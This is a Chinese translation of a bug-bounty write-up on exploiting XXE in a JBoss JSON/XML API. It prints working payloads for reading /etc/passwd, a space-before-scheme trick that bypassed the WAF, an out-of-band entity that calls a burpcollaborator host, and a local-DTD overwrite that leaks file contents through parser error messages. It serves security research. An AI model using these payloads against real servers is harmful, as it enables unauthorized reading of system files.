当HTTP OOB失败时,如何通过XXE泄露本地文件
2021-05-07 14:28:33 Author: xz.aliyun.com(查看原文) 阅读量:128 收藏

原文地址:https://blog.noob.ninja/spilling-local-files-via-xxe-when/

在这篇文章中,我们将分享一个非常有趣的XXE漏洞利用技术,据我所知,这个技术最先见于https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/,后来GoSecure安全团队对其进行了更加深入的研究。在HTTP Out of Band不可用,只能使用DNS请求的情况下,只要应用程序会抛出XML解析的详细错误信息,就能利用本文介绍的方法在服务器上读出本地文件。

漏洞的发现

在通过Burp浏览应用程序时,我发现应用程序在每个端点都使用了基于JSON的REST API。于是,我开始尝试将Content-Type转换为application/xml,并重放了其中的一个请求,发现应用程序竟然抛出了verbose错误,并显示了应用服务器(JBoss)等错误细节,很明显,应用程序以为解析的是一些XML,但实际上提供给它的却是JSON。所以,我就把JSON Body转换成了对应的XML。

绕过WAF

由于服务器位于一个基于云的WAF后面,所以我干脆不使用XML声明,而是直接扔出XML主体。

<root>
<id>..</id>
<name>..</name>
</root>

令我吃惊的是,应用程序竟然爽快地接受了它,并且请求成功了。

于是,我立即尝试通过最简单的XXE payload来读取文件/etc/passwd

<!DOCTYPE a[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>

但WAF又被触发了,于是我在协议前加了一个空格(即file:///etc/passwd),这样一来,WAF就再次被绕过了!!!

漏洞的利用之旅

但是,该应用程序将会对所有传递给它的数据进行相应的安全检查,尤其会严格检查“name”或其他任何元素中与/etc/passwd有关的内容,只允许出现类似[a-zA-Z0-9]这样的内容。如果我试图读取一个不存在的文件,或者读取/etc/shadow之类的文件,它就会抛出一个权限不足或其他之类详尽的错误信息,但不会抛出文件内容,所以,可以确认其中存在XXE漏洞,也就是说,我们可以藉此确认服务器上是否存在某文件,或是否有权访问该文件。令人遗憾的是,我们无法在响应中得到文件的内容。

问道XXE OOB

我想跳过所有麻烦的事情,所以转而使用OOB Trick通过FTP来检索文件,由于App Server是JAVA语言编写的,为此使用了burp collaborator,并使用了参数实体,而不是常规的实体。

<!DOCTYPE a[
<!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x;
]>
<root>
<id>1</id>
<name>test</name>
</root>

再次重申,在这里HTTP Out of Band是无法使用的。

基于子域的OOB XXE

一个多星期后,我在一个子域上发现了一个RCE漏洞,出于好奇,我在该子域上面托管了一个恶意的DTD文件:一方面可以通过XXE漏洞读取/etc/passwd文件,另一方面还能利用详细的服务器错误信息来泄露文件的内容,具体如下所示:https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/,并且最终得偿所愿了!我想,可能是因为这个子域位于白名单中,所以允许建立出站连接的缘故。

为此,公司给我发了一点奖励,并希望我在不借助已知RCE漏洞的情况下利用这个XXE漏洞,如果成功的话,我就能获得全额奖金。

在不借助OOB的情况下,通过本地DTD实现完整的XXE漏洞利用

尝试了很长一段时间,我都一直无法利用这个漏洞,但后来https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html给我带来了一线希望。在这篇文章中,作者列出了许多可能已经存在于系统中的常见的DTD文件,以及如何利用这些DTD文件通过XXE漏洞实现文件读取,并且只需覆盖/替换这些DTD文件中已经存在的实体即可。然而,在我的目标服务器上,该文章中列出的那些DTD文件一个也不存在。

本地DTD技术简介:如果我们发现目标服务器文件系统中某个地方已经存在任何DTD文件,只要该文件含有参数实体(比如<!ENTITY % injectable "something">),并且该实体会被DTD本身所调用(比如<!ENTITY % random (%injectable;)>),那么,我们基本上可以覆盖该实体的内容,为此,我们只需利用OOB技术在外部evil.DTD中写入我们要做的事情即可。比如,假设服务器上存在一个legit.td

/usr/share/xyz/legit.dtd:

..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..

同时,如果我们利用XXE加入以下内容:

<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd"> 
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>

那么,在解析XML内容的时候,会将

<!ENTITY % random (%injectable;)>

转化为:

<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>

寻找本地DTD文件

GoSecure还发布了一个工具,用于查找包含可注入实体的DTD文件,同时,该工具需要将Docker容器导出的文件系统作为其输入。因此,我提取了JBoss Docker映像的特定版本,并启动它,然后,通过以下命令将Docker容器导出到文件系统中:

$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar


dtd-finder-1.0-all.jar的输出内容

这个工具在目标JBoss Docker容器的文件系统的jar/zip文件中发现了一些带有可注入实体的DTD文件。

以下是发现的jar归档:/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar,其中含有以下文件:/schema/xmlschema/XMLSchema.td,该文件中含有一个名为“xs-datypes”的可注入实体。

并且,XMLSchema.td中含有以下内容:

....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....

所以,我不得不在XXE Payload中创建以下实体(用于覆盖XMLSchema.td中的现有实体):

<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>

幸运的是,当前的利用对象是一个基于JAVA的应用程序,所以,它使用的“jar”协议可以用来读取归档(jar/zip等)中的文件。例如:对于 jar:file://var/www/html/test.zip!/test.txt来说,其中test.txt就是test.zip归档中的一个文件。

由于我是在自己的本地环境下进行实验的,所以,我立即检查这个jar文件是否也存在于相应的应用程序中,发现它确实存在。接下来,我所要做的就是:使用jar协议读取jbossxacml-x.x.x.Final-redhat-x.jar中的XMLSchema.dtd文件,然后,通过创建“xs-datatypes”实体来覆盖其内容。

<!DOCTYPE root [
<!ENTITY %  x SYSTEM 
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd"> 
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM ' file:///abcxyz/%file;'>">
        %eval;
        %error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>

然后,见证奇迹的时刻到了! 它在HTTP响应中的错误消息本身中曝出了/etc/passwd文件的内容。

利用异常通过本地DTD技术实现具有完整响应的XXE攻击

参考资料


文章来源: http://xz.aliyun.com/t/9505
如有侵权请联系:admin#unsafe.sh